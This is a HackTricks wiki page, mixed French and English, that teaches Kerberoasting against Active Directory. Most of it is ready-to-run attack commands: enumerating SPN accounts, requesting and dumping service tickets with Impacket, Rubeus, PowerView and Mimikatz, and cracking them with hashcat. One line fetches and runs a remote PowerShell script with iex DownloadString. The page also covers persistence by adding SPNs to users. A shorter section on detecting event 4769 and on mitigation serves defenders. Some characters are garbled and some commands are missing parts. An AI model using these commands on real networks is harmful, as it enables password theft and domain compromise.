Kerberoast

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Kerberoast

Kerberoasting se concentre sur l'acquisition de TGS tickets, spécifiquement ceux liés aux services fonctionnant sous des comptes utilisateurs dans Active Directory (AD), excluant les comptes d'ordinateur. Le chiffrement de ces tickets utilise des clés provenant des mots de passe utilisateurs, permettant la possibilité de cracking de credentials hors ligne. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété "ServicePrincipalName" non vide.

Pour exécuter Kerberoasting, un compte de domaine capable de demander des TGS tickets est essentiel ; cependant, ce processus ne nécessite pas de privilÚges spéciaux, le rendant accessible à quiconque ayant des credentials de domaine valides.

Points Clés :

  • Kerberoasting cible les TGS tickets pour les services de comptes utilisateurs au sein de AD.
  • Les tickets chiffrĂ©s avec des clĂ©s provenant des mots de passe utilisateurs peuvent ĂȘtre craquĂ©s hors ligne.
  • Un service est identifiĂ© par un ServicePrincipalName qui n'est pas nul.
  • Aucun privilĂšge spĂ©cial n'est nĂ©cessaire, juste des credentials de domaine valides.

Attaque

warning

Les outils de Kerberoasting demandent généralement RC4 encryption lors de l'exécution de l'attaque et de l'initiation des demandes TGS-REQ. Cela est dû au fait que RC4 est plus faible et plus facile à craquer hors ligne en utilisant des outils tels que Hashcat que d'autres algorithmes de chiffrement comme AES-128 et AES-256.
Les hachages RC4 (type 23) commencent par $krb5tgs$23$* tandis que ceux d'AES-256 (type 18) commencent par $krb5tgs$18$*. De plus, faites attention carRubeus.exe kerberoast` demande automatiquement des tickets sur TOUS les comptes vulnérables, ce qui vous fera détecter. D'abord, trouvez des utilisateurs kerberoastables avec des privilÚges intéressants, puis exécutez-le uniquement sur eux.

bash

#### **Linux**

Metasploit framework

msf> use auxiliary/gather/get_user_spns

Impacket

GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/ -outputfile hashes.kerberoast # Le mot de passe sera demandé GetUserSPNs.py -request -dc-ip <DC_IP> -hashes : / -outputfile hashes.kerberoast

kerberoast: https://github.com/skelsec/kerberoast

kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -o kerberoastable # 1. ÉnumĂ©rer les utilisateurs kerberoastable kerberoast spnroast 'kerberos+password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump des hashes


Multi-features tools including a dump of kerberoastable users:

ADenum: https://github.com/SecuProject/ADenum

adenum -d <DOMAIN.FULL> -ip <DC_IP> -u -p -c


#### Windows

- **Enumerate Kerberoastable users**

Obtenir des utilisateurs Kerberoastable

setspn.exe -Q / #Ceci est un binaire intégré. Concentrez-vous sur les comptes utilisateurs Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats


- **Technique 1: Ask for TGS and dump it from memory**

#Obtenir TGS en mémoire d'un seul utilisateur Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Exemple : MSSQLSvc/mgmt.domain.local

#Obtenir les TGS pour TOUS les comptes kerberoastables (PC inclus, pas vraiment intelligent) setspn.exe -T DOMAIN_NAME.LOCAL -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#Lister les tickets kerberos en mémoire klist

Les extraire de la mémoire

Invoke-Mimikatz -Command '"kerberos::list /export"' #Exporter les tickets vers le dossier courant

Transformer le ticket kirbi en john

python2.7 kirbi2john.py sqldev.kirbi

Transformer john en hashcat

sed 's/$krb5tgs$(.):(.)/$krb5tgs$23$*\1*$\2/' crack_file > sqldev_tgs_hashcat


- **Technique 2: Automatic tools**

Powerview : Obtenir le hash Kerberoast d'un utilisateur

Request-SPNTicket -SPN "" -Format Hashcat #Utilisation de PowerView Ex : MSSQLSvc/mgmt.domain.local

Powerview : Obtenir tous les hashes Kerberoast

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Utilisateur spécifique .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Obtenir les admins

Invoke-Kerberoast

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast


<div class="mdbook-alerts mdbook-alerts-warning">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  warning
</p>


When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.

</div>


### Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi


### Persistence

If you have **enough permissions** over a user you can **make it kerberoastable**:

Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose


You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)

If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:

- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`

### Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$.Message.split("n")[8] -ne 'krbtgt' -and $_.Message.split("n")[8] -ne '*$' -and $.Message.split("n")[3] -notlike '*$@*' -and $_.Message.split("n")[18] -like '0x0' -and $_.Message.split("`n")[17] -like "0x17"} | select ExpandProperty message


To mitigate the risk of Kerberoasting:

- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

## Kerberoast w/o domain account

In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

<div class="mdbook-alerts mdbook-alerts-warning">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  warning
</p>


You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

</div>


#### Linux

- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/


#### Windows

- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"